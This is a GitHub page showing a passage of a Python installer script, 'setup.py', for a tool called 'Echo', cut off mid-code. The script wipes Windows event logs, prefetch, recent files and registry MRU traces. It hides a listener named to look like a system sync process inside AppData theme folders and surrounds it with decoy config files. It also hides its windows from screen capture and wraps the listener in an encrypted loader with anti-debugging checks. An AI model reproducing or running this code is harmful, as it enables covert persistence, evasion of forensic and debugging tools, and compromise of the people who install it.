-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsetup.py
More file actions
5699 lines (4759 loc) · 223 KB
/
Copy pathsetup.py
File metadata and controls
5699 lines (4759 loc) · 223 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
RESOURCE_FILES = {
'python_txt': None,
'hidden_exe_txt': None,
'nier_png': None,
'req_bat': None
}
def init_resource_paths():
"""Kaynak dosya yollarını başlangıçta belirle"""
files = ['python.txt', 'hidden_exe.txt', 'nier.png', 'req.bat']
keys = ['python_txt', 'hidden_exe_txt', 'nier_png', 'req_bat']
for file, key in zip(files, keys):
RESOURCE_FILES[key] = get_resource_path(file)
import os, sys, time, ctypes, threading, random, traceback, subprocess
import customtkinter as ctk
from PIL import Image, ImageTk, ImageFilter, ImageDraw, ImageGrab
from customtkinter import CTkImage
import base64
from io import BytesIO
import tempfile
import tkinter as tk
from tkinter import messagebox
import math
try:
import requests
except Exception as e:
pass
requests = None
import shutil
import winreg
import json
import keyboard
import importlib
import string
import psutil
from pynput import keyboard
import base64, tempfile
import io
import hashlib
import platform
import atexit
import datetime
import queue
from logo import LOGO_DATA
import secrets
def get_resource_path(filename):
if os.path.exists(filename):
return filename
is_nuitka_exe = (
getattr(sys, 'frozen', False) or
sys.executable.endswith('.exe') or
'__file__' in globals() and 'Temp' in globals()['__file__']
)
search_paths = []
if is_nuitka_exe:
search_paths.extend([
os.path.dirname(sys.executable),
os.getcwd(),
os.path.dirname(os.path.abspath(sys.argv[0])),
])
if '__file__' in globals():
search_paths.append(os.path.dirname(os.path.abspath(globals()['__file__'])))
if hasattr(sys, '_MEIPASS'):
search_paths.append(sys._MEIPASS)
search_paths.extend(sys.path)
for path in search_paths:
if path and os.path.isdir(path):
file_path = os.path.join(path, filename)
if os.path.exists(file_path):
return file_path
if is_nuitka_exe:
exe_dir = os.path.dirname(sys.executable)
for root, dirs, files in os.walk(exe_dir):
if filename in files:
return os.path.join(root, filename)
return None
try:
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
CRYPTO_AVAILABLE = True
except ImportError:
CRYPTO_AVAILABLE = False
print("[WARNING] Cryptography library not available. Listener will not be encrypted.")
def debug_file_locations():
files_to_check = ["python.txt", "hidden_exe.txt", "nier.png", "req.bat"]
print(f"[DEBUG] sys.frozen: {getattr(sys, 'frozen', False)}")
print(f"[DEBUG] sys.executable: {sys.executable}")
print(f"[DEBUG] sys.executable ends with .exe: {sys.executable.endswith('.exe')}")
print(f"[DEBUG] os.getcwd(): {os.getcwd()}")
print(f"[DEBUG] __file__ exists: {globals().get('__file__', 'Not available')}")
print(f"[DEBUG] sys.argv[0]: {sys.argv[0]}")
print(f"[DEBUG] sys.path first 3 entries: {sys.path[:3]}")
search_dirs = [
os.path.dirname(sys.executable),
os.getcwd(),
os.path.dirname(os.path.abspath(sys.argv[0])),
]
if '__file__' in globals():
search_dirs.append(os.path.dirname(os.path.abspath(globals()['__file__'])))
search_dirs.extend(sys.path[:5])
print(f"[DEBUG] Search directories:")
for i, dir_path in enumerate(search_dirs):
if dir_path and os.path.isdir(dir_path):
print(f"[DEBUG] {i+1}. {dir_path}")
try:
files_in_dir = os.listdir(dir_path)
relevant_files = [f for f in files_in_dir if f in files_to_check]
if relevant_files:
print(f"[DEBUG] Found files: {relevant_files}")
except:
pass
for filename in files_to_check:
found_path = get_resource_path(filename)
print(f"[DEBUG] {filename}: {found_path if found_path else 'NOT FOUND'}")
CURRENT_TASK_NAME = None
def enable_stream_proof(window):
try:
hwnd = window.winfo_id()
ctypes.windll.user32.SetWindowDisplayAffinity(hwnd, 0x11)
except Exception as e:
print(f"StreamProof main window enable error: {str(e)}")
try:
parent_hwnd = ctypes.windll.user32.GetParent(window.winfo_id())
if parent_hwnd:
ctypes.windll.user32.SetWindowDisplayAffinity(parent_hwnd, 0x11)
except Exception as e:
print(f"StreamProof parent window enable error: {str(e)}")
try:
for child in window.winfo_children():
try:
child_hwnd = child.winfo_id()
ctypes.windll.user32.SetWindowDisplayAffinity(child_hwnd, 0x11)
if hasattr(child, "winfo_children"):
for subchild in child.winfo_children():
try:
subchild_hwnd = subchild.winfo_id()
ctypes.windll.user32.SetWindowDisplayAffinity(subchild_hwnd, 0x11)
except Exception:
pass
except Exception:
pass
except Exception as e:
print(f"StreamProof child windows enable error: {str(e)}")
def disable_stream_proof(window):
try:
hwnd = window.winfo_id()
ctypes.windll.user32.SetWindowDisplayAffinity(hwnd, 0x00)
except Exception as e:
print(f"StreamProof main window disable error: {str(e)}")
try:
parent_hwnd = ctypes.windll.user32.GetParent(window.winfo_id())
if parent_hwnd:
ctypes.windll.user32.SetWindowDisplayAffinity(parent_hwnd, 0x00)
except Exception as e:
print(f"StreamProof parent window disable error: {str(e)}")
try:
for child in window.winfo_children():
try:
child_hwnd = child.winfo_id()
ctypes.windll.user32.SetWindowDisplayAffinity(child_hwnd, 0x00)
if hasattr(child, "winfo_children"):
for subchild in child.winfo_children():
try:
subchild_hwnd = subchild.winfo_id()
ctypes.windll.user32.SetWindowDisplayAffinity(subchild_hwnd, 0x00)
except Exception:
pass
except Exception:
pass
except Exception as e:
print(f"StreamProof child windows disable error: {str(e)}")
def clean_installation_traces():
try:
print("[CLEANER] Başlatılıyor...")
clean_windows_event_logs()
clean_prefetch_files()
clean_recent_files()
clean_temp_files()
clean_registry_traces()
clean_program_logs()
print("[CLEANER] Temizlik tamamlandı!")
except Exception as e:
print(f"[CLEANER] Hata: {e}")
def clean_windows_event_logs():
try:
import subprocess
logs_to_clear = [
"Application",
"System",
"Security",
"Setup",
"Internet Explorer"
]
for log_name in logs_to_clear:
try:
subprocess.run([
"wevtutil", "cl", log_name
], capture_output=True, creationflags=subprocess.CREATE_NO_WINDOW)
except:
pass
print("[CLEANER] Windows Event Logları temizlendi")
except Exception as e:
print(f"[CLEANER] Event log temizleme hatası: {e}")
def clean_prefetch_files():
try:
prefetch_dir = os.path.join(os.environ['WINDIR'], 'Prefetch')
if os.path.exists(prefetch_dir):
for file in os.listdir(prefetch_dir):
if any(keyword in file.lower() for keyword in ['python', 'setup', 'xir', 'echo-free']):
try:
os.remove(os.path.join(prefetch_dir, file))
except:
pass
print("[CLEANER] Prefetch dosyaları temizlendi")
except Exception as e:
print(f"[CLEANER] Prefetch temizleme hatası: {e}")
def clean_recent_files():
try:
recent_dir = os.path.join(os.environ['APPDATA'], 'Microsoft', 'Windows', 'Recent')
if os.path.exists(recent_dir):
for file in os.listdir(recent_dir):
if any(keyword in file.lower() for keyword in ['setup.py', 'xir', 'echo-free']):
try:
os.remove(os.path.join(recent_dir, file))
except:
pass
print("[CLEANER] Recent dosyaları temizlendi")
except Exception as e:
print(f"[CLEANER] Recent temizleme hatası: {e}")
def clean_temp_files():
try:
temp_dirs = [
os.environ.get('TEMP', ''),
os.environ.get('TMP', ''),
os.path.join(os.environ.get('LOCALAPPDATA', ''), 'Temp')
]
for temp_dir in temp_dirs:
if os.path.exists(temp_dir):
for file in os.listdir(temp_dir):
if any(keyword in file.lower() for keyword in ['setup', 'xir', 'echo-free', 'listener_debug']):
try:
file_path = os.path.join(temp_dir, file)
if os.path.isfile(file_path):
os.remove(file_path)
except:
pass
print("[CLEANER] Temp dosyaları temizlendi")
except Exception as e:
print(f"[CLEANER] Temp temizleme hatası: {e}")
def clean_registry_traces():
try:
import winreg
registry_keys = [
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"),
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU"),
(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU")
]
for hkey, key_path in registry_keys:
try:
with winreg.OpenKey(hkey, key_path, 0, winreg.KEY_WRITE) as reg_key:
try:
winreg.DeleteValue(reg_key, "MRUList")
except:
pass
i = 0
while True:
try:
name, value, type = winreg.EnumValue(reg_key, i)
if any(keyword in value.lower() for keyword in ['setup.py', 'xir', 'echo-free']):
try:
winreg.DeleteValue(reg_key, name)
except:
pass
i += 1
except:
break
except:
pass
print("[CLEANER] Registry izleri temizlendi")
except Exception as e:
print(f"[CLEANER] Registry temizleme hatası: {e}")
def clean_program_logs():
pass
def set_window_icon(window):
if LOGO_DATA:
try:
ico_bytes = base64.b64decode(LOGO_DATA)
with tempfile.NamedTemporaryFile(delete=False, suffix='.ico') as tmp_icon:
tmp_icon.write(ico_bytes)
tmp_icon.flush()
window.iconbitmap(tmp_icon.name)
except Exception as e:
print("Icon set error:", e)
class HoverButton(ctk.CTkButton):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.default_fg = self.cget("fg_color")
self.default_text_color = self.cget("text_color")
self.shadow = None
self._color_anim_id = None
self.bind("<Enter>", self.on_enter)
self.bind("<Leave>", self.on_leave)
self.bind("<ButtonPress-1>", self.on_press)
self.bind("<ButtonRelease-1>", self.on_release)
self.after(10, self.create_shadow)
def create_shadow(self):
if self.shadow is None and self.winfo_ismapped():
parent = self.master
self.shadow = ctk.CTkLabel(parent, text="", fg_color="#222222", corner_radius=8,
width=self.winfo_width()+4, height=self.winfo_height()+6)
self.shadow.place(x=self.winfo_x()-2, y=self.winfo_y()+4)
self.lift()
def on_enter(self, event=None):
self.animate_color(self.cget("fg_color"), "#000000", steps=6)
self.configure(text_color="#ffffff")
def on_leave(self, event=None):
self.animate_color(self.cget("fg_color"), self.default_fg, steps=6)
self.configure(text_color=self.default_text_color)
def on_press(self, event=None):
pass
def on_release(self, event=None):
pass
def animate_color(self, start_color, end_color, steps=6):
if not self.winfo_exists():
return
if self._color_anim_id is not None and self.winfo_exists():
self.after_cancel(self._color_anim_id)
self._color_anim_id = None
def hex_to_rgb(hex_color):
hex_color = hex_color.lstrip('#')
return tuple(int(hex_color[i:i+2], 16) for i in (0, 2, 4))
def rgb_to_hex(rgb):
return "#%02x%02x%02x" % rgb
start_rgb = hex_to_rgb(get_color_str(start_color))
end_rgb = hex_to_rgb(get_color_str(end_color))
def step_anim(step=0):
if not self.winfo_exists():
return
if step > steps:
self.configure(fg_color=end_color)
self._color_anim_id = None
return
r = int(start_rgb[0] + (end_rgb[0] - start_rgb[0]) * step / steps)
g = int(start_rgb[1] + (end_rgb[1] - start_rgb[1]) * step / steps)
b = int(start_rgb[2] + (end_rgb[2] - start_rgb[2]) * step / steps)
self.configure(fg_color=rgb_to_hex((r, g, b)))
self._color_anim_id = self.after(20, lambda: step_anim(step + 1))
step_anim()
def get_color_str(color):
if isinstance(color, (list, tuple)):
return color[0]
return color
APP_NAME = "Echo"
WINDOW_WIDTH = 680
WINDOW_HEIGHT = 480
HEADER_BAR_HEIGHT = 34
PRIMARY_COLOR = "#ffffff" # Beyaz
SECONDARY_COLOR = "#121212" # Derin siyah
ACCENT_COLOR = "#ff4e50" # Açık kırmızı
TEXT_COLOR = "#ffffff" # Beyaz
NEON_GLOW = "#ff2a2d" # Neon kırmızı
WINDOWS_PROC_NAMES = [
'svchost', 'explorer', 'RuntimeBroker', 'dwm', 'ctfmon', 'taskhostw',
'SearchIndexer', 'audiodg', 'fontdrvhost', 'sihost', 'winlogon',
'services', 'SystemSettings', 'smartscreen', 'SecurityHealthSystray'
]
LANGUAGES = {
'tr': {
'app_name': 'Echo',
'start': 'Kurulumu Başlat',
'uninstall': 'Kaldır',
'get_hwid': 'HWID Al',
'download_requirements': 'Gereksinimleri İndir',
'ready': 'Hazır',
'installing': 'Kurulum başlatılıyor...',
'uninstalling': 'Kaldırılıyor...',
'calculating': 'HWID hesaplanıyor...',
'downloading_requirements': 'Gereksinimler indiriliyor...',
'installing_python_req': 'Python yükleniyor...',
'installing_packages': 'Paketler yükleniyor...',
'copied': 'HWID panoya kopyalandı!',
'error': 'HWID hesaplanamadı!',
'checking_python': 'Kontrol ediliyor...',
'installing_python': 'İndiriliyor ve kuruluyor...',
'installing_modules': 'Gerekli birleşenler yükleniyor...',
'copying_files': 'Sistem dosyaları kopyalanıyor...',
'setting_up': 'Başlangıç ayarları yapılıyor...',
'success': 'Kurulum tamamlandı!',
'requirements_success': 'Gereksinimler başarıyla yüklendi!',
'requirements_error': 'Gereksinimler yüklenirken hata!',
'admin_required': 'Yönetici izinleri gerekli!',
'downloading': 'Yükleniyor',
'select_key': 'Tuş Seçimi',
'press_any_key': 'Lütfen bir tuşa basın...',
'auto_close': 'Program otomatik olarak kapanacak',
'uninstalled': 'Kaldırıldı!',
'uninstall_error': 'Kaldırma hatası!',
'install_error': 'Kurulumda hata!'
},
'en': {
'app_name': 'Echo',
'start': 'Start Installation',
'uninstall': 'Uninstall',
'get_hwid': 'Get HWID',
'download_requirements': 'Download Requirements',
'ready': 'Ready',
'installing': 'Starting installation...',
'uninstalling': 'Uninstalling...',
'calculating': 'Calculating HWID...',
'downloading_requirements': 'Downloading requirements...',
'installing_python_req': 'Installing Python...',
'installing_packages': 'Installing packages...',
'copied': 'HWID copied to clipboard!',
'error': 'Failed to calculate HWID!',
'checking_python': 'Checking installation...',
'installing_python': 'Downloading and installing...',
'installing_modules': 'Installing required...',
'copying_files': 'Copying system files...',
'setting_up': 'Setting up startup configuration...',
'success': 'Installation completed successfully!',
'requirements_success': 'Requirements installed successfully!',
'requirements_error': 'Error installing requirements!',
'admin_required': 'Administrator privileges required!',
'downloading': 'Downloading',
'select_key': 'Key Selection',
'press_any_key': 'Please press any key...',
'auto_close': 'The program will close automatically',
'uninstalled': 'Uninstalled!',
'uninstall_error': 'Uninstall error!',
'install_error': 'Install error!'
}
}
current_lang = {'lang': 'tr'}
header_title = None
install_btn = None
uninstall_btn = None
get_hwid_btn = None
download_req_btn = None
status_label = None
lang_btn = None
lang_btn_tk = None
close_btn_tk = None
glow_frame = None
selected_key = {'key': None}
key_selection_window = {'win': None, 'label': None, 'info_label': None}
loading_window_ref = {'win': None, 'text_label': None}
countdown_window_ref = {'win': None, 'bottom_text': None}
def show_key_selection_screen(root, on_key_selected):
lang = current_lang['lang']
title = LANGUAGES[lang].get('select_key', 'Select a key to assign')
info = LANGUAGES[lang].get('press_any_key', 'Please press any key...')
win = tk.Toplevel(root)
win.title(title)
win.geometry("340x180")
win.resizable(False, False)
win.grab_set()
win.attributes("-topmost", True)
win.lift()
win.overrideredirect(True)
win.update_idletasks()
screen_width = win.winfo_screenwidth()
screen_height = win.winfo_screenheight()
window_width = 340
window_height = 180
x = (screen_width - window_width) // 2
y = (screen_height - window_height) // 2
win.geometry(f"{window_width}x{window_height}+{x}+{y}")
move_offset = {'x': 0, 'y': 0}
def start_move(e):
move_offset['x'], move_offset['y'] = e.x, e.y
def do_move(e):
win.geometry(f"+{e.x_root - move_offset['x']}+{e.y_root - move_offset['y']}")
win.bind("<Button-1>", start_move)
win.bind("<B1-Motion>", do_move)
frame = ctk.CTkFrame(win, fg_color="#1c1c1e")
frame.pack(fill="both", expand=True)
label = ctk.CTkLabel(frame, text=title, font=("Segoe UI", 18, "bold"), text_color=PRIMARY_COLOR)
label.pack(pady=(24, 8))
info_label = ctk.CTkLabel(frame, text=info, font=("Segoe UI", 14), text_color=TEXT_COLOR)
info_label.pack(pady=(0, 16))
key_label = ctk.CTkLabel(frame, text="", font=("Segoe UI", 22, "bold"), text_color=ACCENT_COLOR)
key_label.pack(pady=(0, 8))
def on_key(event):
if not win.winfo_exists():
return
key_info = {'keysym': event.keysym, 'keycode': event.keycode}
selected_key['key'] = key_info
key_label.configure(text=event.keysym.upper())
win.after(600, lambda: (win.destroy(), on_key_selected(key_info)))
win.bind("<Key>", on_key)
win.focus_force()
win.after(200, lambda: enable_stream_proof(win))
key_selection_window['win'] = win
key_selection_window['label'] = label
key_selection_window['info_label'] = info_label
def calculate_hwid():
try:
command = [
'powershell',
'-Command',
'$uuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID;'
'$hash = [System.BitConverter]::ToString('
'[System.Security.Cryptography.SHA256]::Create().ComputeHash('
'[System.Text.Encoding]::UTF8.GetBytes($uuid)'
')'
').Replace("-", "").ToLower();'
'Write-Output $hash'
]
result = subprocess.run(
command,
capture_output=True,
text=True,
check=True,
creationflags=subprocess.CREATE_NO_WINDOW
)
return result.stdout.strip()
except Exception as e:
print(f"HWID hesaplama hatası: {e}")
return None
def is_python_installed():
try:
result = subprocess.run(
["python", "--version"],
capture_output=True,
text=True,
creationflags=subprocess.CREATE_NO_WINDOW
)
return result.returncode == 0
except:
return False
CONFIG_PATH = os.path.join(os.environ.get('APPDATA', os.path.join(os.path.expanduser('~'), 'AppData', 'Roaming')), 'Microsoft', 'Windows', 'Themes', 'Cache', 'syscfg.json')
def generate_hidden_paths():
base_dir = os.path.join(os.environ.get('APPDATA', os.path.join(os.path.expanduser('~'), 'AppData', 'Roaming')), 'Microsoft', 'Windows', 'Themes', 'Cache')
if not os.path.exists(base_dir):
os.makedirs(base_dir, exist_ok=True)
folder = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
folder_path = os.path.join(base_dir, folder)
if not os.path.exists(folder_path):
os.makedirs(folder_path, exist_ok=True)
proc_name = 'UserdataSync'
pyw_name = proc_name + '.pyw'
return {
'folder': folder_path,
'listener': os.path.join(folder_path, pyw_name),
'proc_name': proc_name
}
def save_hidden_paths(cfg):
with open(CONFIG_PATH, 'w') as f:
json.dump(cfg, f)
def load_hidden_paths():
if os.path.exists(CONFIG_PATH):
with open(CONFIG_PATH, 'r') as f:
return json.load(f)
else:
cfg = generate_hidden_paths()
save_hidden_paths(cfg)
return cfg
def get_hidden_paths():
return load_hidden_paths()
LISTENER_NAME = 'UserDataSync'
HIDDEN_PATHS = [
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft', 'Windows', 'Themes', 'Cache'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft', 'Windows', 'Themes'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft', 'Windows', 'Start Menu', 'Programs'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft', 'Windows', 'Start Menu'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft', 'Windows'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Windows', 'Themes'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Windows', 'Start Menu', 'Programs', 'Startup'),
os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Windows', 'Start Menu', 'Programs')
]
def get_random_hidden_path():
existing_paths = []
for path in HIDDEN_PATHS:
try:
if os.path.exists(path):
existing_paths.append(path)
else:
try:
os.makedirs(path, exist_ok=True)
existing_paths.append(path)
except:
continue
except:
continue
if not existing_paths:
default_path = os.path.join(os.environ.get('APPDATA', os.path.expanduser('~')), 'Microsoft', 'Windows', 'Themes', 'Cache')
try:
os.makedirs(default_path, exist_ok=True)
existing_paths.append(default_path)
except:
import tempfile
existing_paths.append(tempfile.gettempdir())
return random.choice(existing_paths)
HIDDEN_DIR = get_random_hidden_path()
LISTENER_PATH = os.path.join(HIDDEN_DIR, 'system_config.dat')
MASK_FILES = [
'system_config.dat',
'user_preferences.dat',
'theme_cache.dat',
'display_settings.dat',
'window_layout.dat',
'theme_metadata.json',
'display_calibration.cfg',
'window_positions.ini',
'system_logs.txt'
]
def get_random_filename():
extensions = ['.log', '.dat', '.cfg', '.ini', '.txt', '.cache', '.tmp', '.bak']
base_names = [
'cache', 'system', 'config', 'data', 'log', 'temp', 'backup',
'settings', 'preferences', 'theme', 'display', 'window', 'user',
'sync', 'update', 'service', 'host', 'audio', 'media', 'network'
]
random_base = random.choice(base_names)
random_ext = random.choice(extensions)
random_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=3))
return f"{random_base}_{random_suffix}{random_ext}"
def create_mask_files():
try:
mask_contents = [
b'# System Configuration\n# Version: 1.0\n# Last Updated: 2024\n\n[General]\nTheme=Dark\nLanguage=en-US\n\n[Display]\nResolution=1920x1080\nRefreshRate=60\n\n[Performance]\nAnimations=Enabled\nTransparency=Enabled',
b'# User Preferences\n# Generated: 2024\n\n[Interface]\nColorScheme=Auto\nFontSize=12\n\n[Accessibility]\nHighContrast=Disabled\nScreenReader=Disabled\n\n[Privacy]\nTelemetry=Minimal\nDiagnostics=Basic',
b'# Theme Cache Data\n# Cache Version: 2.1\n\n[Cache]\nLastUpdate=2024-01-15\nSize=2048\nCompression=Enabled\n\n[Themes]\nActiveTheme=Windows\nCustomThemes=0\n\n[Performance]\nLoadTime=0.15s',
b'# Display Settings\n# Monitor Configuration\n\n[Primary]\nWidth=1920\nHeight=1080\nColorDepth=32\n\n[Secondary]\nConnected=False\n\n[Calibration]\nGamma=2.2\nBrightness=100\nContrast=100',
b'# Window Layout Cache\n# Application Positions\n\n[MainWindow]\nX=100\nY=100\nWidth=800\nHeight=600\nMaximized=False\n\n[Toolbar]\nVisible=True\nPosition=Top\n\n[StatusBar]\nVisible=True',
b'[2024-01-15 10:30:15] INFO: Theme cache initialized\n[2024-01-15 10:30:16] INFO: Loading user preferences\n[2024-01-15 10:30:17] INFO: Display settings applied\n[2024-01-15 10:30:18] INFO: Window layout restored\n[2024-01-15 10:30:19] INFO: Cache cleanup completed\n[2024-01-15 10:30:20] INFO: System ready',
b'{\n "theme": {\n "name": "Windows Dark",\n "version": "1.0",\n "active": true,\n "customizations": {}\n },\n "display": {\n "resolution": "1920x1080",\n "refresh_rate": 60,\n "color_depth": 32\n },\n "cache": {\n "last_update": "2024-01-15T10:30:15Z",\n "size": 2048\n }\n}',
b'# Display Calibration Configuration\n# Generated: 2024-01-15\n\n[Monitor]\nGamma=2.2\nBrightness=100\nContrast=100\nSaturation=100\n\n[Color]\nTemperature=6500K\nProfile=sRGB\n\n[Advanced]\nHDR=Disabled\nG-Sync=Disabled',
b'[WindowPositions]\nMainWindow=100,100,800,600\nToolbar=0,0,800,30\nStatusBar=0,570,800,30\n\n[Settings]\nMaximized=False\nMinimized=False\nAlwaysOnTop=False\n\n[History]\nLastPosition=100,100\nLastSize=800,600',
b'System Log - Theme Cache\nGenerated: 2024-01-15 10:30:15\n\nCache Status: Active\nLast Cleanup: 2024-01-15 10:30:19\nTotal Files: 15\nCache Size: 2.1 MB\nCompression: Enabled\n\nPerformance Metrics:\n- Load Time: 0.15s\n- Memory Usage: 8.2 MB\n- CPU Usage: 2.1%\n\nStatus: OK'
]
for i, filename in enumerate(MASK_FILES):
file_path = os.path.join(HIDDEN_DIR, filename)
if not os.path.exists(file_path):
with open(file_path, 'wb') as f:
f.write(mask_contents[i])
try:
subprocess.run(f'attrib +h "{file_path}"', shell=True, creationflags=subprocess.CREATE_NO_WINDOW)
except:
pass
print(f"[MASK] Created mask file: {filename}")
except Exception as e:
print(f"[MASK] Error creating mask files: {e}")
def gen_random_passphrase(length=24):
chars = string.ascii_letters + string.digits + "!@#$%^&*()-_=+"
return ''.join(secrets.choice(chars) for _ in range(length))
def derive_key(passphrase: str, salt: bytes, iterations: int = 200_000):
if not CRYPTO_AVAILABLE:
return None
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=iterations,
backend=default_backend()
)
return kdf.derive(passphrase.encode('utf-8'))
def xor_bytes(data: bytes, key: bytes) -> bytes:
out = bytearray(len(data))
klen = len(key)
for i in range(len(data)):
out[i] = data[i] ^ key[i % klen]
return bytes(out)
def create_encrypted_loader(listener_code: str, passphrase: str):
if not CRYPTO_AVAILABLE:
return listener_code
try:
salt = secrets.token_bytes(16)
iterations = 200_000
key = derive_key(passphrase, salt, iterations)
aes = AESGCM(key)
nonce = secrets.token_bytes(12)
plaintext_bytes = listener_code.encode('utf-8')
ciphertext = aes.encrypt(nonce, plaintext_bytes, None)
xor_key = hashlib.sha256(passphrase.encode('utf-8') + salt).digest()
xor_data = xor_bytes(ciphertext, xor_key)
enc_blob = nonce + xor_data
enc_b64 = base64.b64encode(enc_blob).decode('utf-8')
metadata = {
'salt_b64': base64.b64encode(salt).decode('utf-8'),
'kdf_iter': iterations,
'embed_pass': passphrase
}
loader_template = f'''# Protected Listener (auto-generated)
import base64, json, sys, time, ctypes, os, hashlib
try:
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
except ImportError:
print("Cryptography library required")
sys.exit(1)
_metadata = {json.dumps(metadata)}
_encrypted_b64 = r"""{enc_b64}"""
def anti_debug_check():
t0 = time.perf_counter()
time.sleep(0.05)
dt = time.perf_counter() - t0
if dt > 0.2:
return True
try:
if os.name == 'nt':
kernel32 = ctypes.windll.kernel32
is_dbg = ctypes.c_bool(False)
kernel32.CheckRemoteDebuggerPresent(kernel32.GetCurrentProcess(), ctypes.byref(is_dbg))
if is_dbg.value:
return True
except Exception:
pass
return False
def derive_key(passphrase: bytes, salt: bytes, iterations: int):
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=salt, iterations=iterations, backend=default_backend())
return kdf.derive(passphrase)
def xor_bytes(data: bytes, key: bytes) -> bytes:
out = bytearray(len(data))
klen = len(key)
for i in range(len(data)):
out[i] = data[i] ^ key[i % klen]
return bytes(out)
def decrypt_and_exec():
if anti_debug_check():
sys.exit(1)
meta = _metadata
salt = base64.b64decode(meta['salt_b64'])
